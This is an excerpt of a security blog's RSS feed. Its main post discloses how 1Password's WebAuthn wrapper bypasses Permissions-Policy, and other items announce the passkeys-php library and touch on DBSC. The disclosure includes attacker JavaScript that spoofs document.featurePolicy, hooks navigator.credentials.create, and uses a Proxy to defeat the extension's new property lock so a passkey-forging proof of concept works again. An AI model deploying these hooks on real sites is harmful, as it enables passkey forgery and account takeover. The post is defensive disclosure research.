session has a separate new key created, and it should not be possible to detect that different sessions are from the same device.</li></ul><p></p><h3 id="client-support">Client Support</h3><p>As it stands right now, we have support for DBSC in Chrome on Windows (<a href="https://developer.chrome.com/blog/dbsc-windows-announcement)?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a>), and it looks like we could get it soon on <a href="https://chromestatus.com/feature/5140168270413824?ref=scotthelme.ghost.io" rel="noreferrer">macOS too</a>, I&apos;d guess at some point in 2026. Microsoft have also done an origin trial in Edge so there are some good indications coming from them too, they&apos;ve merged their BPOP work in to DBSC. We&apos;re still waiting on a recent position from Mozilla, their last statements were made back in <a href="https://github.com/mozilla/standards-positions/issues/912?ref=scotthelme.ghost.io" rel="noreferrer">2023</a>. </p><p>The good news is that DBSC will gracefully fall back and have no impact on clients that don&apos;t support it, so we can deploy it now and protect a subset of our users that will only grow over time.</p><p></p><h3 id="sources">Sources</h3><p><a href="https://developer.chrome.com/docs/web-platform/device-bound-session-credentials?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials (DBSC) | Chrome for Developers</a><br><a href="https://developer.chrome.com/blog/dbsc-windows-announcement?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials now available on Windows | Chrome for Developers</a><br><a href="https://developer.chrome.com/blog/dbsc-origin-trial?ref=scotthelme.ghost.io" rel="noreferrer">Origin trial: Device Bound Session Credentials in Chrome | Chrome for Developers</a><br><a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials (W3C draft spec)</a><br><a href="https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io" rel="noreferrer">w3c/webappsec-dbsc spec repo</a></p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper]]></title>
                <description><![CDATA[<p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I</p>]]></description>
                <link>https://scotthelme.ghost.io/passkeys-permissions-policy-and-bug-hunting-in-1passwords-webauthn-wrapper/</link>
                <guid isPermaLink="false">69fef61c9c3a0c0001b5ea06</guid>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[Permissions Policy]]></category>
                <category><![CDATA[Content Security Policy]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Thu, 21 May 2026 14:40:02 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper"><p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I found that 1Password&#x2019;s browser extension could bypass one of those rules. A page could disable passkey creation and authentication with Permissions Policy, the browser would correctly block the native WebAuthn API, but 1Password&#x2019;s wrapper could still broker a working passkey ceremony.</p><p>This post walks through what I found, what a fix looks like, and why Content Security Policy and Permissions Policy remain useful defence-in-depth mechanisms when JavaScript goes rogue.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png" class="kg-image" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="enter-the-password-manager">Enter the password manager</h3><p>Password managers that support passkeys often need to act as an authenticator, so they wrap <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> on the page. This is fine if the wrapper preserves every guarantee the native API gave you, and 1Password&apos;s browser extension implements its passkey support by sitting in front of the browser&apos;s native WebAuthn API.</p><p>When the 1Password content script loads, it replaces <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code>, plus the three <code>PublicKeyCredential.*</code> capability-probe methods, with its own functions, so that when a site calls into WebAuthn, 1Password can offer to save or fill a passkey from the vault instead of &#x2014; or in addition to &#x2014; the platform authenticator.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/1password-logo-dark.svg" class="kg-image" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper" loading="lazy" width="136" height="26"></figure><p></p><p>In the version I originally reported against (8.12.12.44), that replacement was done the simplest possible way: direct property assignment. The installer function just wrote the wrapper onto the live <code>navigator.credentials</code> object, and a second function re-applied it on a 100ms timer so that if anything clobbered it, 1Password would quietly put it back:</p><pre><code class="language-js">var E = () =&gt; {
        window.navigator.credentials.create = B;   // B = the create wrapper
        window.navigator.credentials.get = G;      // G = the get wrapper
        window.PublicKeyCredential.isConditionalMediationAvailable = J;
        window.PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable = j;
        window.PublicKeyCredential.getClientCapabilities = V;
    };
    function L() {
        window.navigator.credentials &amp;&amp; (p(), E(), setInterval($, 100));
    }</code></pre><p></p><p>The wrapper these functions installed (<code>B</code> for create) was the minified one-liner that became the centrepiece of my disclosure. It checks <code>publicKey.hints</code>, then routes either to 1Password&apos;s own implementation <code>W(e)</code> or to the saved native call <code>u.credentials.create(e)</code>:</p><pre><code class="language-js">async function B(e) {
        return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);
    }</code></pre><p></p><p>Two properties of this design matter for an attack. First, the wrapper never consults the document&apos;s Permissions-Policy, so a page that sends <code>Permissions-Policy: publickey-credentials-create=()</code>, which makes the native API reject, still gets a fully functional 1Password ceremony, because the extension&apos;s code runs in front of the native enforcement and simply doesn&apos;t replicate it. Second, the underlying main-world &#x21C4; content-script message bus that the wrapper uses to talk to the rest of the extension has no per-page authentication: its <code>validateMessage</code> routine only checks that structural fields are present and well-typed:</p><pre><code class="language-js">return h(n.msgId) ? h(n.source) ? h(n.name)
        ? (/* type must be one of the op-window-* values */) ? !0 : !1
        : !1 : !1 : !1;</code></pre><p></p><p>No nonce, no shared secret, and no signed envelope. And because <code>navigator.credentials.create</code> was a plain writable data property, page JavaScript could overwrite it outright. That is exactly what a supply-chain or stored-XSS payload can do: replace the function, let the user complete a genuine biometric prompt, then substitute an attacker-generated keypair before the credential reaches the server. The website gets the attacker&apos;s passkey, and 1Password stores a different one. </p><p></p><p>1Password closed my issues as Informative and their reasoning makes a lot of sense. Everything I&apos;d shown requires an attacker to have JavaScript executing in the RP&apos;s main world, with an XSS vulnerability or JavaScript supply-chain compromise being the most likely candidates. </p><ol><li>I covered the account-takeover vector in my previous post <a href="https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none?ref=scotthelme.ghost.io" rel="noreferrer">XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None</a>, and it could be carried out by any attacker with XSS on an RP that accepts <code>attestation: &quot;none&quot;</code>. It&apos;s fair to state that this is not a 1Password vulnerability.</li><li>Establishing a secret between an isolated-world content script and a main-world stub, through a channel co-resident main-world JS provably cannot reach, is a genuinely hard problem and drawing a threat boundary here is also fair to do.</li><li>I agree with drawing a threat boundary around generic XSS-driven account takeover, but I still think the Permissions Policy bypass is different. The site explicitly removed WebAuthn capability from the page, the browser honoured that decision, and the extension handed that capability back.</li></ol><p></p><h3 id="fixing-the-permissions-policy-bypass">Fixing the Permissions Policy Bypass</h3><p>Sites that load third-party code like analytics, tag managers, chat widgets, CDN dependencies and more, can send the following header.</p><p><code>Permissions-Policy: publickey-credentials-create=(), publickey-credentials-get=()</code></p><p></p><p>This will deliberately strip WebAuthn capabilities from those pages, and those capabilities can then be enabled only on pages that the site expects to use them, like their hardened <code>/login</code> or <code>/account/security</code> endpoints. It&apos;s a browser-enforced control that the call rejects with <code>NotAllowedError</code> before any UI appears. The 1Password wrapper silently bypasses this. Its <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> wrappers run in the page&apos;s main world and never check the document&apos;s Permissions-Policy, so the capability the website deliberately withdrew is handed straight back, <em>but only when the 1Password extension is installed</em>. The site did everything right, the browser enforced it correctly, and a trusted extension, not the attacker, reopened the door for the compromised script to drive a passkey ceremony the page expressly forbade.</p><p>To solve this issue, my first instinct was to bolt the check onto the wrapper, which is exactly what I proposed in my report, but that idea doesn&apos;t stand up to much scrutiny.</p><pre><code class="language-js">async function B(e) {
        const pp = document.permissionsPolicy || document.featurePolicy;
        if (pp &amp;&amp; !pp.allowsFeature(&apos;publickey-credentials-create&apos;)) {
            throw new DOMException(
                &apos;The operation is not allowed by the document Permissions Policy.&apos;,
                &apos;NotAllowedError&apos;
            );
        }
        return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);
    }</code></pre><p></p><p>Against an unsophisticated payload this could well work, but ultimately it&apos;s a security decision being made in the wrong place. 1Password&apos;s <code>B</code>/<code>W</code> wrappers run in the page&apos;s main world, which is the entire reason the page can see a replaced <code>navigator.credentials.create</code>, which means the value the guard reads is attacker-reachable:</p><pre><code class="language-js">// attacker, page main world
    Object.defineProperty(document, &apos;featurePolicy&apos;, {
        get: () =&gt; ({ allowsFeature: () =&gt; true })
    });</code></pre><p></p><p>Now <code>pp.allowsFeature(...)</code> returns <code>true</code>, the guard falls through, and the ceremony proceeds on a page whose real policy forbids it. A check is only as trustworthy as the context it executes in, and the main world is, by construction, the context the attacker controls. This is the same reason a per-page bridge token stashed in main-world JS doesn&apos;t hold, and it&apos;s why 1Password&apos;s &quot;your mitigation lives with the attacker&quot; was a fair objection to my suggestion. </p><p>The fix is to move the decision out of the main world and into the extension&apos;s isolated world, the content script. A content script shares the page&apos;s DOM but has a separate JavaScript heap that page script cannot read or patch, and its <code>document.featurePolicy</code> resolves to the genuine, browser-computed policy for that frame, including the <code>=()</code>, <code>=(self)</code>, and cross-origin-iframe cases. Page JS cannot make the isolated world&apos;s view lie. So the gate belongs on the bridge handler that brokers the ceremony, before anything is forwarded to the background or native helper:</p><pre><code class="language-js">const PP_FEATURE = {
        &apos;create-credential&apos;: &apos;publickey-credentials-create&apos;,
        &apos;get-credential&apos;:    &apos;publickey-credentials-get&apos;,
    };
    
    function permissionsPolicyAllows(routeName) {
        const feature = PP_FEATURE[routeName];
        if (!feature) return true; // not a WebAuthn route
        const pp = document.permissionsPolicy || document.featurePolicy;
        // No policy object &#x2192; treat as allowed (legacy/unsupported); a present
        // policy is authoritative and cannot be patched from the main world.
        return !pp || pp.allowsFeature(feature);
    }
    
    // Wherever the content script receives a brokered WebAuthn request from the
    // bridge, refuse it here &#x2014; fail closed &#x2014; before any message reaches the
    // background service worker or the native app.
    function handleBridgeRequest(msg) {
        if (!permissionsPolicyAllows(msg.name)) {
            return respond(msg, {
                type: &apos;create-credential-error&apos;,
                data: { reason: &apos;permissions-policy-denied&apos; },
            });
        }
        return forwardToBackground(msg);
    }</code></pre><p></p><p>The extension can read the true Permissions Policy because the isolated world observes the same page the attacker is in but cannot be entered or tampered with from the page&apos;s main world; the native ceremony is brokered further still, through the background service worker and the native app over native messaging, none of which page script can reach. Enforced here and failing closed, every route from my reports is closed at once: calling the native API directly still hits the browser&apos;s own rejection; spoofing <code>document.featurePolicy</code> only fools the main world, not the isolated-world gate; and forging bridge messages to disable interception just falls through to the native API, which also rejects. Critically, this is the same architectural move required to authenticate the bridge, stop trusting the main world for security decisions and make the content script the authority.</p><p>To be crystal clear: this control doesn&apos;t stop a compromised script from registering a passkey directly with an RP that accepts <code>attestation: &quot;none&quot;</code>, nothing on the client can do that (see my <a href="https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/?ref=scotthelme.ghost.io" rel="noreferrer">previous blog post</a>). An attacker with page script can always synthesise a <code>fmt:&quot;none&quot;</code> credential in JavaScript and POST it straight to the RP&apos;s enrolment endpoint. What <code>publickey-credentials-create=()</code> removes is the page&apos;s ability to invoke a genuine <code>navigator.credentials.create()</code> ceremony, a real prompt, a real authenticator, a real attestation, so the only thing it can still produce is an unattested forgery the RP  is free to reject. 1Password&apos;s extension bypass hands back to the malicious script exactly the legitimate-looking ceremony the policy was meant to deny.</p><p>The same distinction matters for login, not just registration. The worse problem is an escalation wherever the script does not already have the user&apos;s authenticated session for that origin: any logged-out page, a pre-auth surface, or the kind of third-party-heavy page a site deliberately locks down with <code>publickey-credentials-get=()</code> precisely because it loads code it doesn&apos;t fully trust. A compromised analytics or tag-manager script on such a page cannot ride a session that does not exist, and the platform guarantee is that it cannot invoke a credential ceremony either. That guarantee is the entire point of the policy. 1Password&apos;s bypass removes it, handing that malicious script a genuine, user-approvable login ceremony whose assertion it can rely straight back to the RP. The only case where this doesn&apos;t matter is a script already running inside the authenticated app, where there&apos;s a live session to abuse regardless &#x2014; and that is not the scenario this policy exists to defend. </p><p></p><h3 id="an-extension-update-shortly-after-my-report">An Extension Update Shortly After My Report</h3><p>Shortly after my report, 1Password released an extension update (8.12.20.10). After installing the update, I noticed that one of the PoCs I&apos;d created had stopped working. They seemed to have changed something, so I dug in.</p><p>After diffing the two builds of the extension, the vast majority of the changes were cosmetic, but a change to <code>webauthn-listeners.js</code> caught my eye. The change was not in what the 1Password wrappers did, but in how they were installed. The plain assignment and the <code>setInterval</code> polling loop were gone, and in their place, each method is defined as a non-configurable accessor property whose getter always returns 1Password&apos;s wrapper and whose setter is a no-op that merely logs a warning:</p><pre><code class="language-js">Object.defineProperty(parentRef, methodName, {
        configurable: false,
        enumerable: true,
        get() { return newMethod; }, // always returns 1P&apos;s wrapper
        set() {
            console.warn(`Cannot overwrite ${loggableLabel} method while 1Password is enabled`);
        }
    });</code></pre><p></p><p>I jumped to the console on the PoC page and I could indeed see the new console warning:</p><pre><code>Cannot overwrite navigator.credentials.create method while 1Password is enabled</code></pre><p></p><p>The behavioural change is subtle, but important. Previously, <code>navigator.credentials.create = evil</code> worked, at least until the next polling tick re-applied 1Password&apos;s version. In the newer build the same statement neither throws nor takes effect: the assignment hits a no-op setter, is silently swallowed, and the console shows the warning above. The property is now a non-configurable accessor, so page script can no longer replace or shadow the injected WebAuthn shim.</p><p>This landed shortly after my report, so I asked 1Password directly whether the two were connected. They said they were not: the change came from a separate, pre-existing hardening track aimed at a different surface (session-delegation <code>CustomEvents</code> in another content script), as part of rolling a non-configurable-accessor pattern broadly across the extension&apos;s main-world stubs as defence-in-depth, the WebAuthn wrapper being one of several, in the same build. Internal motivation isn&apos;t something I can verify from outside, and timing alone doesn&apos;t establish it, so I&apos;ll happily take that at face value.</p><p>The interesting part doesn&apos;t depend on the motivation, though. Whichever track it came from, the extension is now applying tamper-resistance to precisely the surface in question; page-side replacement of the WebAuthn API by attacker-controlled JavaScript in the RP&apos;s main world. Something that 1Password&apos;s own threat model treats as out of scope. They are hardening, as routine hygiene, a path they simultaneously decline to treat as a vulnerability. That tension is the point, and it stands whether or not my report had anything to do with the change.</p><p>It&apos;s also worth being precise about what this change is and isn&apos;t. Making the accessor non-configurable protects the integrity of the wrapper so page script can&apos;t clobber it. It does nothing about whether the wrapper, once invoked, honours Permissions Policy. Those are independent: a tamper-proof shim that still ignores <code>publickey-credentials-get=()</code> / <code>publickey-credentials-create=()</code> is exactly as policy-blind as it was before. This hardening does not touch the Permissions Policy override described earlier, and 1Password&apos;s response commits to no fix for that, so it remains.</p><p></p><h3 id="updating-the-poc-to-work-again">Updating the PoC to Work Again</h3><p>Our &quot;Gesture-Preserving Forgery&quot; demo (<a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a>) ships an attacker payload that hooks <code>navigator.credentials.create</code>, lets the user complete a real ceremony, then swaps in a JavaScript-generated keypair before the page POSTs the credential to <code>/register/finish</code>. The password manager stores a passkey, but it&apos;s the wrong one. The passkey registered with the service was one controlled by the attacker.</p><p>The malicious payload on that demo page installed its hook the classic way:</p><pre><code class="language-js">navigator.credentials.create = async function (opts) { /* &#x2026; forge &#x2026; */ };</code></pre><p></p><p>On the new version of the extension, that&apos;s exactly what the newly introduced setter swallows. The malicious hook is never installed, the console shows me the new warning, and the demo no longer works. The fix only took a little wrangling after I noticed that the new lock protects the leaf <code>get</code>/<code>create</code> properties and not the path to get there, <code>navigator.credentials</code> itself. The first attempt has been kept as direct assignment to <code>create</code>, but if that doesn&apos;t take, we fall back to replacing <code>navigator.credentials</code> with a <code>Proxy</code> and returning our own hook for <code>create</code> whilst transparently passing everything else through. </p><pre><code class="language-js">let installed = false;
    try {
        navigator.credentials.create = hijackCreate;
        installed = navigator.credentials.create === hijackCreate;
    } catch (e) { /* non-configurable property with a throwing setter */ }
    
    if (!installed) {
        // 1Password locked the `create` property &#x2014; but not the container.
        const fakeContainer = new Proxy(realContainer, {
            get(target, prop) {
                if (prop === &apos;create&apos;) return hijackCreate;
                const value = Reflect.get(target, prop, target);
                return typeof value === &apos;function&apos; ? value.bind(target) : value;
            },
        });
        const shadow = { configurable: true, enumerable: true, get() { return fakeContainer; } };
        try {
            Object.defineProperty(Navigator.prototype, &apos;credentials&apos;, shadow);
            installed = navigator.credentials === fakeContainer;
        } catch (e) { /* try the instance next */ }
        if (!installed) {
            try {
                Object.defineProperty(navigator, &apos;credentials&apos;, shadow);
                installed = navigator.credentials === fakeContainer;
            } catch (e) { /* give up */ }
        }
    }</code></pre><p></p><p>1Password&apos;s patch stops the property swap but not the underlying forgery, because a non-configurable accessor on <code>navigator.credentials.create</code> only protects that one leaf, leaving the path to it (<code>navigator.credentials</code>, <code>Navigator.prototype.credentials</code>,<code> window.PublicKeyCredential</code>) fully attacker-controllable. For now, that brings <a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a> back to life, and I&apos;d be interested to hear about the behaviour you see on this page in the presence of other browser extensions or other software you might have installed that could interact with the WebAuthn process. Drop your comments down below!</p><p></p><h3 id="permissions-policy-and-content-security-policy">Permissions Policy and Content Security Policy</h3><p><a href="https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io" rel="noreferrer">Permissions Policy</a> and <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> are both defence-in-depth security measures, you get to declare what a page is allowed to do, which capabilities exist, which origins may run script, and the browser enforces it before anything else happens. </p><p>Crucially, both of these headers can also send telemetry when something happens that isn&apos;t supposed to happen. Report URI collects those telemetry events at scale and turns them into something you can act on. The third-party script that suddenly tried to reach a capability it shouldn&apos;t, the CDN dependency that started pulling resources from a new origin, the moment your own policy began doing real work. That visibility is the whole point.</p><p>The ultimate solution to the problems raised in this post is &quot;duh, don&apos;t get XSS in the first place&quot;, but I bet that&apos;s already everyone&apos;s goal. Despite that, XSS was the Top Threat of <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">2024</a>, <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">2025</a>, and it&apos;s already pulling out ahead of everything else in 2026. Just last week it was <a href="https://www.bleepingcomputer.com/news/security/instructure-confirms-hackers-used-canvas-flaw-to-deface-portals/?ref=scotthelme.ghost.io" rel="noreferrer">revealed</a> that the Instructure / Canvas breach began with multiple XSS vulnerabilities that allowed session hijacking of admin accounts. They&apos;ve since &#x201C;reached an agreement&#x201D; with the threat actor, which may have involved paying a hefty ransom. CSP is easier to start with than many people expect. You do not need a perfect policy on day one; even report-only mode can start giving you useful telemetry about what code is running in the browser. You can refer to our dedicated <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys solutions page</a> for more info.</p><p></p><h3 id="disclosure-and-closing">Disclosure and Closing</h3><p>Passkeys are still a better option and the right answer to many problems. This blog post shouldn&apos;t discourage anyone from using them. The ecosystem around passkeys is still young, passkeys have definitely not had as long to mature as passwords have!</p><p>Reported to 1Password on 8th May 2026<br>Issue closed by 1Password on 14th May 2026<br>Extension v8.12.20.10 build date 14th May 2026<br>Extension v8.12.20.10 <a href="https://chromewebstore.google.com/detail/1password-%E2%80%93-password-mana/aeblfdkhhhdcdjpifhhbdiojplfjncoa?hl=en&amp;ref=scotthelme.ghost.io" rel="noreferrer">release date</a> 15th May 2026<br>Bridge Spoof PoC (same-origin script): <a href="https://report-uri-demo.com/passkeys/5/?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Bridge Spoof PoC (third-party script): <a href="https://report-uri-demo.com/passkeys/6/?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Wrapper override PoC: <a href="https://report-uri-demo.com/passkeys/3/?protected&amp;ref=scotthelme.ghost.io" rel="noreferrer">link</a><br></p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js" integrity="sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <!--kg-card-end: html-->
    ]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP]]></title>
                <description><![CDATA[<p>We&apos;ve open-sourced <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now,</p>]]></description>
                <link>https://scotthelme.ghost.io/open-sourcing-passkeys-php-a-security-focused-webauthn-library-for-php/</link>
                <guid isPermaLink="false">6a09db9d197769000166677a</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[PHP]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 20 May 2026 12:16:58 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png" alt="Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP"><p>We&apos;ve open-sourced <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now, rather than carrying those patches privately, we&#x2019;re releasing them as a small, auditable, MIT-licensed PHP library for everyone else building normal passkey login flows.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png" class="kg-image" alt="Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png 800w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To get started: <code>composer require report-uri/passkeys-php</code><br>Packagist: <a href="https://packagist.org/packages/report-uri/passkeys-php?ref=scotthelme.ghost.io">https://packagist.org/packages/report-uri/passkeys-php</a></p><p></p><h3 id="why-we-built-it">Why We Built It</h3><p>Our <code>passkeys-php</code> is a maintained fork of the excellent <a href="https://github.com/lbuchs/WebAuthn?ref=scotthelme.ghost.io" rel="noreferrer">lbuchs/WebAuthn</a>, forked at upstream v2.2.0. We wanted to preserve what made that library appealing: it was small, lightweight, and understandable enough that you could actually read the code guarding your logins.</p><p>The catch was that the upstream is effectively dormant. When we had Report URI&apos;s passkeys integration <a href="https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io" rel="noreferrer">penetration tested</a>, the assessment surfaced several WebAuthn conformance issues. We <a href="https://github.com/lbuchs/WebAuthn/issues?q=is%3Apr+is%3Aopen+author%3AScottHelme&amp;ref=scotthelme.ghost.io" rel="noreferrer">wrote fixes and submitted them as PRs</a> upstream, but they haven&apos;t been merged. Rather than carry a stack of local patches indefinitely &#x2014; and leave everyone else on the same library exposed &#x2014; we&apos;re shipping the fixes inline and in the open.</p><p></p><h3 id="what-we-fixed">What We Fixed</h3><p>Each fix is its own commit on <code>main</code> so you can audit exactly what changed and why if you&apos;d like, but the summary is below. These were not cosmetic changes; they were the kinds of edge cases that matter when a library is responsible for deciding whether an authentication ceremony is valid.</p><p></p><ul><li>Tighter origin check. The previous RP-ID match treated the RP ID as a substring suffix, so <code>example.com</code> would match the host <code>evil-example.com</code>. It<br>now requires an exact match or a true subdomain.</li><li>Cross-origin rejection. Registration and authentication now reject ceremonies where <code>clientDataJSON.crossOrigin === true</code>, per WebAuthn Level&#xA0;3.</li><li>Attestation none hardening. The <code>none</code> attestation statement must be an empty CBOR map, per WebAuthn &#xA7;8.7. Non-empty maps are now rejected.</li><li>Backup flag validation. Authenticator data with the Backup State bit set but Backup Eligible unset is now rejected, per spec.</li><li>Token Binding rejection. Ceremonies asserting Token Binding are rejected, since the library doesn&apos;t implement it.</li></ul><p></p><h3 id="we-deleted-attestation">We Deleted Attestation</h3><p>The headline change is that attestation verification is gone entirely; the library now supports only the <code>none</code> attestation format. Our penetration test and our own internal security reviews showed that serious risk was concentrated almost entirely in attestation-statement handling &#x2014; the TPM, Packed, U2F, Android Key, Android SafetyNet and Apple formats, plus the FIDO Metadata Service plumbing and root-CA trust set. That code path is also the part of WebAuthn that our typical users don&apos;t use: browsers and platform authenticators issue attestation: &quot;none&quot; by default, and demanding attestation actively harms passkey UX and privacy.</p><p>So we removed it &#x2014; over 1,100 lines of it. Now, <code>getCreateArgs()</code> always requests <code>attestation: &quot;none&quot;</code> (which the spec requires the client to honour by stripping the statement, whatever authenticator the user holds), and only <code>fmt: &quot;none&quot;</code> with an empty <code>attStmt</code> is accepted. The library is now positioned for the common case: SaaS-style passkey auth where the relying party only needs to know the user controls a credential bound to the RP &#x2014; not which authenticator produced it. If you genuinely need enterprise attestation with a managed CA set, this isn&apos;t the library for you, and we think that&apos;s the right trade: a large, dangerous, rarely-exercised attack surface deleted instead of subtly-broken verifiers shipped to people who wouldn&apos;t enable them anyway.</p><p></p><h3 id="getting-started">Getting Started</h3><p>The library autoloads under PSR-4 as <code>ReportUri\Passkeys</code>, with the main entry point aligned with the spec name:</p><p></p><pre><code class="language-php">use ReportUri\Passkeys\WebAuthn;
    $server = new WebAuthn(&apos;My App&apos;, &apos;example.com&apos;);</code></pre><p></p><p>There&apos;s a working registration and login demo in <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">_test/</a> to get you going, and this is currently deployed on the <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> production site so you can always test it there too!</p><p>Passkeys are one of the best things to happen to authentication in years, but only if the server side gets the verification right. That&#x2019;s the part users never see, and the part a library has to get exactly right.</p><p><code>passkeys-php</code> is our attempt to keep that code small, readable, auditable, and safe for the common case. Issues and PRs welcome.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None]]></title>
                <description><![CDATA[<p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim&#x2019;s account. The user sees nothing, the website records</p>]]></description>
                <link>https://scotthelme.ghost.io/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/</link>
                <guid isPermaLink="false">69fef8df9c3a0c0001b5ea13</guid>
                <category><![CDATA[XSS]]></category>
